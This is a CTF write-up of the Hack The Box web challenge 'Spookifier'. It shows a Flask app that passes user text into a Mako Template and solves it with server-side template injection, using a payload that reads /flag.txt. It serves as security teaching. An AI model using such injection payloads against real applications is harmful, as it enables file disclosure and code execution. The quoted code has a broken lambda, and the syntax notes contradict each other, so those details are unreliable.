

Hack The Box challenge

Name: Spookifier

Description:

There's a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application?

Category: web

Difficulty: Super Easy

The web challenge represents a text converter to spooky text on Flask.



The screenshot shows a web application titled "Name Spookifier" with a purple background. At the top, there are two ghost icons flanking the title. Below the title is a prompt "Enter your new Halloween name here" and a text input field containing the word "test". An orange button labeled "Spookify" is positioned below the input field. Underneath the button is a table with four rows, each displaying a different font style of the word "test".

test
teSt
тєѕт
test

It converts your texts into 4 types of fonts where the last one it is **not** converted.

The endpoint where our text is taken is the param **text**

```
application / blueprints / routes.py
from flask import Blueprint, request
from flask_mako import render_template
from application.util import spookify

web = Blueprint('web', __name__)

@web.route('/')
def index():
    text = request.args.get('text')
    if(text):
        converted = spookify(text)
        return render_template('index.html',output=converted)

    return render_template('index.html',output='')
```

The flag itself doesn't seem to exist elsewhere besides /flag.txt or doesn't get used anywhere in the web logic. So the most likely solution would be **SSTI**. I tested XSS but it was successful but there is no admin route we can get to, this is the only one

After that four versions are created of the text and are stored in an HTML string and after that it gets **rendered**

```
def generate_render(converted_fonts):
    result = '''
        <tr>
            <td>{0}</td>
        </tr>

        <tr>
            <td>{1}</td>
        </tr>

        <tr>
            <td>{2}</td>
        </tr>

        <tr>
            <td>{3}</td>
        </tr>

    '''.format(*converted_fonts)

    return Template(result).render()

def change_font(text_list):
    text_list = [*text_list]
    current_font = []
    all_fonts = []

    add_font_to_list = lambda text, font_type : (
        [current_font.append(globals()[font_type].get(i, ' '))
        ] and None

    add_font_to_list(text_list, 'font1')
    add_font_to_list(text_list, 'font2')
    add_font_to_list(text_list, 'font3')
    add_font_to_list(text_list, 'font4')

    return all_fonts

def spookify(text):
    converted_fonts = change_font(text_list=text)

    return generate_render(converted_fonts=converted_fonts)
```

Basic template injection like `{7*7}` would not work, it depends on what type of template is being used, we can see that if we check what is being imported: **from mako.template import Template**

The template is **mako** and if we do a little search we can see that **`{%7*7%}`** is the correct way to render the template. We do a little test:



Name Spookifier



Enter your new Halloween name here

\$ {7*7}

Spookify



Name Spookifier



Enter your new Halloween name here

```
$ {open('/flag.txt').read() }
```

Spookify

open flag txt read
OPEN FLAG EXE READ
OPEN FLAG EXE READ
HTB

return Template(result).render() is where it gets rendered

Made by [Ivailo Klisarov](#)